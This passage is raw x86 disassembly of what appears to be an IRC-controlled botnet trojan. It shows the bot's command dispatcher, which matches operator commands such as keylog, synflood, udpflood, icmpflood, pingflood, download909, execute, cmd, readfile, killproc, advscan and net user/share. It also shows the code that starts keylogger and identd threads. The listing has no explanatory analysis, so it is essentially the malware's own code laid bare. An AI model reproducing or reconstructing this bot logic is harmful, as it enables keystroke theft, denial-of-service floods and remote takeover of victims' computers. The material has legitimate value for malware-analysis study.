		jz	loc_407B34
		push	edi
		push	offset aCip	; "cip"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B34
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079D8
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079D8
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407862
		push	edi
		push	offset aHttp	; "http"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407862
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407716
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407716
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40741B
		push	edi
		push	offset aVall	; "vall"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40741B
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	loc_403498
		push	dword ptr [ebp+18h]
		push	offset aNick_0	; "nick"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407402
		push	dword ptr [ebp+18h]
		push	offset aN	; "n"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407402
		push	dword ptr [ebp+18h]
		push	offset aJoin	; "join"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073E2
		push	dword ptr [ebp+18h]
		push	offset aJ	; "j"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073E2
		push	dword ptr [ebp+18h]
		push	offset aPart_1	; "part"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073C9
		push	dword ptr [ebp+18h]
		push	offset aPt	; "pt"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073C9
		push	dword ptr [ebp+18h]
		push	offset aRaw	; "raw"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407392
		push	dword ptr [ebp+18h]
		push	offset aR_1	; "r"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407392
		push	dword ptr [ebp+18h]
		push	offset aKillthread ; "killthread"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4072CF
		push	dword ptr [ebp+18h]
		push	offset aK	; "k"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4072CF
		push	dword ptr [ebp+18h]
		push	offset aC_quit	; "c_quit"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407224
		push	dword ptr [ebp+18h]
		push	offset aC_q	; "c_q"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407224
		push	dword ptr [ebp+18h]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071CD
		push	dword ptr [ebp+18h]
		push	offset aC_rn	; "c_rn"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071CD
		push	dword ptr [ebp+18h]
		push	offset aPrefix	; "prefix"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B8
		push	dword ptr [ebp+18h]
		push	offset aPr	; "pr"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B8
		push	dword ptr [ebp+18h]
		push	offset aOpen	; "open"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40718E
		push	dword ptr [ebp+18h]
		push	offset aO	; "o"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40718E
		push	dword ptr [ebp+18h]
		push	offset aServer	; "server"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407169
		push	dword ptr [ebp+18h]
		push	offset aSe	; "se"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407169
		push	dword ptr [ebp+18h]
		push	offset aDns	; "dns"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070F3
		push	dword ptr [ebp+18h]
		push	offset aDn	; "dn"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070F3
		push	dword ptr [ebp+18h]
		push	offset aKillproc ; "killproc"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070C7
		push	dword ptr [ebp+18h]
		push	offset aKp	; "kp"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070C7
		push	dword ptr [ebp+18h]
		push	offset aKill	; "kill"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706C
		push	dword ptr [ebp+18h]
		push	offset aKi	; "ki"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706C
		push	dword ptr [ebp+18h]
		push	offset aDelete	; "delete"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407035
		push	dword ptr [ebp+18h]
		push	offset aDel	; "del"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407035
		push	dword ptr [ebp+18h]
		push	offset aList	; "list"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40701A
		push	dword ptr [ebp+18h]
		push	offset aLi	; "li"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40701A
		push	dword ptr [ebp+18h]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FDF
		push	dword ptr [ebp+18h]
		push	offset aMirc	; "mirc"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FDF
		push	dword ptr [ebp+18h]
		push	offset aCmd_0	; "cmd"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F94
		push	dword ptr [ebp+18h]
		push	offset aCm	; "cm"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F94
		push	dword ptr [ebp+18h]
		push	offset aReadfile ; "readfile"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F0F
		push	dword ptr [ebp+18h]
		push	offset aRf	; "rf"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F0F
		push	dword ptr [ebp+18h]
		push	offset aIdent	; "ident"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404856
		push	edi
		push	offset aOn	; "on"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40481E
		push	2
		call	sub_408F87
		test	eax, eax
		pop	ecx
		jle	short loc_4047C1
		push	offset aIdentAlreadyRu ; "[IDENT]: Already running."
		jmp	loc_407727
; ---------------------------------------------------------------------------


loc_4047C1:				; CODE XREF: seg000:004047B5j
		lea	eax, [ebp-2C8h]
		push	offset aIdentdServerRu ; "[IDENTD]: Server running on Port: 113."
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	2
		push	eax
		call	sub_408D3F
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-10h]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411539
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[esi], eax
		jnz	loc_406698
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aIdentdFailedTo ; "[IDENTD]: Failed to start server, error"...
		jmp	loc_4083DC
; ---------------------------------------------------------------------------


loc_40481E:				; CODE XREF: seg000:004047A9j
		push	edi
		push	offset aOff	; "off"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406698
		push	ebx
		push	2
		call	sub_408F3A
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40484C
		push	eax
		push	offset aIdentServerSto ; "[IDENT]: Server stopped. (%d thread(s) "...
		jmp	loc_4083DC
; ---------------------------------------------------------------------------


loc_40484C:				; CODE XREF: seg000:0040483Fj
		push	offset aIdentNoThreadF ; "[IDENT]: No thread found."
		jmp	loc_407727
; ---------------------------------------------------------------------------


loc_404856:				; CODE XREF: seg000:00404794j
		push	dword ptr [ebp+18h]
		push	offset aKeylog	; "keylog"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049CD
		push	edi
		push	offset aOn_0	; "on"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4048C7
		push	edi
		push	offset aFile	; "file"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4048C7
		push	edi
		push	offset aOff_0	; "off"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406698
		push	ebx
		push	23h
		call	sub_408F3A
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_4048BD
		push	eax
		push	offset aKeylogKeyLogge ; "[KEYLOG]: Key	logger stopped.	(%d threa"...
		jmp	loc_4083DC
; ---------------------------------------------------------------------------


loc_4048BD:				; CODE XREF: seg000:004048B0j
		push	offset aKeylogNoKeyLog ; "[KEYLOG]: No key logger thread found."
		jmp	loc_407727
; ---------------------------------------------------------------------------


loc_4048C7:				; CODE XREF: seg000:0040487Cj
					; seg000:0040488Dj
		push	23h
		call	sub_408F87
		test	eax, eax
		pop	ecx
		jle	short loc_4048DD
		push	offset aKeylogAlreadyR ; "[KEYLOG]: Already running."
		jmp	loc_407727
; ---------------------------------------------------------------------------


loc_4048DD:				; CODE XREF: seg000:004048D1j
		mov	eax, [ebp+0Ch]
		push	edi
		mov	[ebp-4DCh], eax
		mov	eax, [ebp-4]
		push	offset aFile_0	; "file"
		mov	[ebp-454h], eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40490C
		mov	dword ptr [ebp-450h], 1
		jmp	short loc_404915
; ---------------------------------------------------------------------------


loc_40490C:				; CODE XREF: seg000:004048FEj
		mov	eax, [ebp-8]
		mov	[ebp-450h], eax


loc_404915:				; CODE XREF: seg000:0040490Aj
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jnz	short loc_40493C
		mov	esi, offset a143_0 ; "#143#"
		push	offset dword_4DF354
		push	esi
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40493C
		mov	esi, [ebp-8Ch]


loc_40493C:				; CODE XREF: seg000:0040491Ej
					; seg000:00404934j
		push	esi
		lea	eax, [ebp-4D4h]
		push	80h
		push	eax
		call	sub_41D360
		lea	eax, [ebp-2C8h]
		push	offset aKeylogKeyLog_0 ; "[KEYLOG]: Key	logger active."
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	23h
		push	eax
		call	sub_408D3F
		add	esp, 20h
		mov	[ebp-4D8h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4DCh]
		push	ebx
		push	eax
		push	offset sub_413061
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-4D8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_4049BC


loc_4049A6:				; CODE XREF: seg000:004049BAj
		cmp	[ebp-44Ch], ebx
		jnz	loc_406698
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_4049A6
; ---------------------------------------------------------------------------


loc_4049BC:				; CODE XREF: seg000:004049A4j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aKeylogFailedTo ; "[KEYLOG]: Failed to start logging threa"...
		jmp	loc_4083DC
; ---------------------------------------------------------------------------


loc_4049CD:				; CODE XREF: seg000:00404867j
		push	dword ptr [ebp+18h]
		push	offset aNet	; "net"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404CB9
		cmp	ds:dword_4515C0, ebx
		jz	short loc_4049FE
		cmp	ds:dword_4515E8, ebx
		jz	short loc_4049FE
		push	offset aNetFailedToLoa ; "[NET]: Failed	to load	advapi32.dll or	n"...
		jmp	loc_4068E4
; ---------------------------------------------------------------------------


loc_4049FE:				; CODE XREF: seg000:004049EAj
					; seg000:004049F2j
		cmp	[ebp-0Ch], ebx
		jz	loc_4068F2
		mov	eax, [ebp+esi-8Ch]
		mov	[ebp+8], ebx
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	short loc_404A26
		push	eax
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		pop	ecx
		mov	[ebp+8], eax
		pop	ecx


loc_404A26:				; CODE XREF: seg000:00404A16j
		push	edi
		push	offset aStart	; "start"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A8C
		cmp	[ebp+20h], ebx
		jz	short loc_404A60
		push	dword ptr [ebp+8]
		push	3
		call	sub_41805B
		push	eax
		push	offset aS_1	; "%s"


loc_404A4C:				; CODE XREF: seg000:00404AADj
					; seg000:00404AD0j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		add	esp, 14h
		jmp	loc_4068F2
; ---------------------------------------------------------------------------


loc_404A60:				; CODE XREF: seg000:00404A3Aj
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_418302
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_404A82
		push	offset aNetServiceList ; "[NET]: Service list completed."
		jmp	loc_4068E4
; ---------------------------------------------------------------------------


loc_404A82:				; CODE XREF: seg000:00404A76j
		push	offset aNetServiceLi_0 ; "[NET]: Service list failed."
		jmp	loc_4068E4
; ---------------------------------------------------------------------------


loc_404A8C:				; CODE XREF: seg000:00404A35j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AAF
		push	dword ptr [ebp+8]
		push	4
		call	sub_41805B
		push	eax
		push	offset aS_2	; "%s"
		jmp	short loc_404A4C
; ---------------------------------------------------------------------------


loc_404AAF:				; CODE XREF: seg000:00404A9Bj
		push	edi
		push	offset aPause	; "pause"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AD5
		push	dword ptr [ebp+8]
		push	5
		call	sub_41805B
		push	eax
		push	offset aS_3	; "%s"
		jmp	loc_404A4C
; ---------------------------------------------------------------------------


loc_404AD5:				; CODE XREF: seg000:00404ABEj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AFB
		push	dword ptr [ebp+8]
		push	6
		call	sub_41805B
		push	eax
		push	offset aS_4	; "%s"
		jmp	loc_404A4C
; ---------------------------------------------------------------------------


loc_404AFB:				; CODE XREF: seg000:00404AE4j
		push	edi
		push	offset aDelete_0 ; "delete"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404B21
		push	dword ptr [ebp+8]
		push	1
		call	sub_41805B
		push	eax
		push	offset aS_5	; "%s"
		jmp	loc_404A4C
; ---------------------------------------------------------------------------


loc_404B21:				; CODE XREF: seg000:00404B0Aj
		push	edi
		push	offset aShare	; "share"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404BA9
		cmp	[ebp+20h], ebx
		jz	short loc_404B7C
		cmp	[ebp-9B0h], bl
		jz	short loc_404B52
		push	ebx
		push	dword ptr [ebp+20h]
		push	1
		call	sub_41843F
		push	eax
		push	offset aS_6	; "%s"
		jmp	short loc_404B68
; ---------------------------------------------------------------------------


loc_404B52:				; CODE XREF: seg000:00404B3Dj
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	ebx
		call	sub_41843F
		push	eax
		push	offset aS_7	; "%s"


loc_404B68:				; CODE XREF: seg000:00404B50j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		add	esp, 18h
		jmp	loc_4068F2
; ---------------------------------------------------------------------------


loc_404B7C:				; CODE XREF: seg000:00404B35j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_418634
		add	esp, 10h
		test	eax, eax
		jz	short loc_404B9F
		push	offset aNetShareListCo ; "[NET]: Share list completed."
		jmp	loc_4068E4
; ---------------------------------------------------------------------------


loc_404B9F:				; CODE XREF: seg000:00404B93j
		push	offset aNetShareListFa ; "[NET]: Share list failed."
		jmp	loc_4068E4
; ---------------------------------------------------------------------------


loc_404BA9:				; CODE XREF: seg000:00404B30j
		push	edi
		push	offset aUser	; "user"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404C61
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_404C34
		cmp	[ebp-9B0h], bl
		jz	short loc_404BEA
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	ebx
		push	eax
		push	1
		call	sub_418755
		push	eax
		push	offset aS_8	; "%s"
		jmp	short loc_404C20
; ---------------------------------------------------------------------------


loc_404BEA:				; CODE XREF: seg000:00404BCBj
		push	dword ptr [ebp-4]
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		jz	short loc_404C11
		push	esi
		push	eax
		push	ebx
		call	sub_418755
		push	eax
		push	offset aS_9	; "%s"
		jmp	short loc_404C20
; ---------------------------------------------------------------------------


loc_404C11:				; CODE XREF: seg000:00404BFFj
		push	ebx
		push	eax
		push	2
		call	sub_418755
		push	eax
		push	offset aS_10	; "%s"


loc_404C20:				; CODE XREF: seg000:00404BE8j
					; seg000:00404C0Fj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		add	esp, 24h
		jmp	loc_4068F2
; ---------------------------------------------------------------------------


loc_404C34:				; CODE XREF: seg000:00404BC3j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_418C69
		add	esp, 10h
		test	eax, eax
		jz	short loc_404C57
		push	offset aNetUserListCom ; "[NET]: User list completed."
		jmp	loc_4068E4
; ---------------------------------------------------------------------------


loc_404C57:				; CODE XREF: seg000:00404C4Bj
		push	offset aNetUserListFai ; "[NET]: User list failed."
		jmp	loc_4068E4
; ---------------------------------------------------------------------------


loc_404C61:				; CODE XREF: seg000:00404BB8j
		push	edi
		push	offset aSend_0	; "send"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404CAF
		cmp	[ebp+20h], ebx
		jz	short loc_404CA5
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	loc_418F1D
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_11	; "%s"
		push	eax
		call	sub_41D260
		add	esp, 1Ch
		jmp	loc_4068F2
; ---------------------------------------------------------------------------


loc_404CA5:				; CODE XREF: seg000:00404C75j
		push	offset aNetNoMessageSp ; "[NET]: No message specified."
		jmp	loc_4068E4
; ---------------------------------------------------------------------------


loc_404CAF:				; CODE XREF: seg000:00404C70j
		push	offset aNetCommandUnkn ; "[NET]: Command unknown."
		jmp	loc_4068E4
; ---------------------------------------------------------------------------


loc_404CB9:				; CODE XREF: seg000:004049DEj
		push	dword ptr [ebp+18h]
		push	offset aGethost	; "gethost"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E2B
		push	dword ptr [ebp+18h]
		push	offset aGh	; "gh"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E2B
		mov	eax, [ebp+esi-8Ch]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	loc_403498
		push	dword ptr [ebp+18h]
		push	offset aAddalias ; "addalias"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406DEC
		push	dword ptr [ebp+18h]
		push	offset aAa	; "aa"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406DEC
		push	dword ptr [ebp+18h]
		push	offset aPrivmsg_2 ; "privmsg"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D99
		push	dword ptr [ebp+18h]
		push	offset aPm	; "pm"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D99
		push	dword ptr [ebp+18h]
		push	offset aAction	; "action"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D2B
		push	dword ptr [ebp+18h]
		push	offset aA	; "a"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D2B
		push	dword ptr [ebp+18h]
		push	offset aCycle	; "cycle"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406CC8
		push	dword ptr [ebp+18h]
		push	offset aCy	; "cy"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406CC8
		push	dword ptr [ebp+18h]
		push	offset aMode	; "mode"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C89
		push	dword ptr [ebp+18h]
		push	offset aM	; "m"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C89
		push	dword ptr [ebp+18h]
		push	offset aC_raw	; "c_raw"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C1E
		push	dword ptr [ebp+18h]
		push	offset aC_r	; "c_r"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C1E
		push	dword ptr [ebp+18h]
		push	offset aC_mode	; "c_mode"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406B9C
		push	dword ptr [ebp+18h]
		push	offset aC_m	; "c_m"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406B9C
		push	dword ptr [ebp+18h]
		push	offset aC_nick	; "c_nick"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406B2B
		push	dword ptr [ebp+18h]
		push	offset aC_n	; "c_n"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406B2B
		push	dword ptr [ebp+18h]
		push	offset aC_join	; "c_join"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406ADF
		push	dword ptr [ebp+18h]
		push	offset aC_j	; "c_j"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406ADF
		push	dword ptr [ebp+18h]
		push	offset aC_part	; "c_part"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406A7C
		push	dword ptr [ebp+18h]
		push	offset aC_p	; "c_p"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406A7C
		push	dword ptr [ebp+18h]
		push	offset aRepeat	; "repeat"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069B6
		push	dword ptr [ebp+18h]
		push	offset aRp	; "rp"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069B6
		push	dword ptr [ebp+18h]
		push	offset aDelay	; "delay"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40691B
		push	dword ptr [ebp+18h]
		push	offset aDe	; "de"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40691B
		push	dword ptr [ebp+18h]
		push	offset aUpdate909 ; "update909"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406763
		push	dword ptr [ebp+18h]
		push	offset aUp909_0	; "up909"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406763
		push	dword ptr [ebp+18h]
		push	offset aExecute	; "execute"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4066D0
		push	dword ptr [ebp+18h]
		push	offset aE	; "e"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4066D0
		push	dword ptr [ebp+18h]
		push	offset aRename	; "rename"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40664C
		push	dword ptr [ebp+18h]
		push	offset aMv	; "mv"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40664C
		push	dword ptr [ebp+18h]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406551
		push	dword ptr [ebp+18h]
		push	offset aIcmp	; "icmp"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406551
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	loc_403498
		push	dword ptr [ebp+18h]
		push	offset aClone_0	; "clone"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406466
		push	dword ptr [ebp+18h]
		push	offset aC	; "c"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406466
		push	dword ptr [ebp+18h]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406361
		push	dword ptr [ebp+18h]
		push	offset aUsa_ack	; "usa.ack"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406361
		push	dword ptr [ebp+18h]
		push	offset aUsa_ran	; "usa.ran"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406361
		push	dword ptr [ebp+18h]
		push	offset aSynflood ; "synflood"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406263
		push	dword ptr [ebp+18h]
		push	offset aSy1	; "sy1"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406263
		push	dword ptr [ebp+18h]
		push	offset aDownload909 ; "download909"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406125
		push	dword ptr [ebp+18h]
		push	offset aDl909	; "dl909"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406125
		push	dword ptr [ebp+18h]
		push	offset aRedirect_0 ; "redirect"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40602B
		push	dword ptr [ebp+18h]
		push	offset aRd	; "rd"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40602B
		push	dword ptr [ebp+18h]
		push	offset aScan	; "scan"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405F38
		push	dword ptr [ebp+18h]
		push	offset aSc	; "sc"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405F38
		push	dword ptr [ebp+18h]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405E63
		push	dword ptr [ebp+18h]
		push	offset aC_pm	; "c_pm"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405E63
		push	dword ptr [ebp+18h]
		push	offset aC_action ; "c_action"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405D4E
		push	dword ptr [ebp+18h]
		push	offset aC_a	; "c_a"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405D4E
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		mov	[ebp+10h], eax
		jz	loc_403498
		push	dword ptr [ebp+18h]
		push	offset aAdvscan	; "advscan"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4059EF
		push	dword ptr [ebp+18h]
		push	offset aVv	; "vv"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4059EF
		push	dword ptr [ebp+18h]
		push	offset aUdpflood ; "udpflood"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4058CF
		push	dword ptr [ebp+18h]
		push	offset aPu	; "pu"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4058CF
		push	dword ptr [ebp+18h]
		push	offset aU	; "u"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4058CF
		push	dword ptr [ebp+18h]
		push	offset aPingflood ; "pingflood"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40579C
		push	dword ptr [ebp+18h]
		push	offset aPing_1	; "ping"
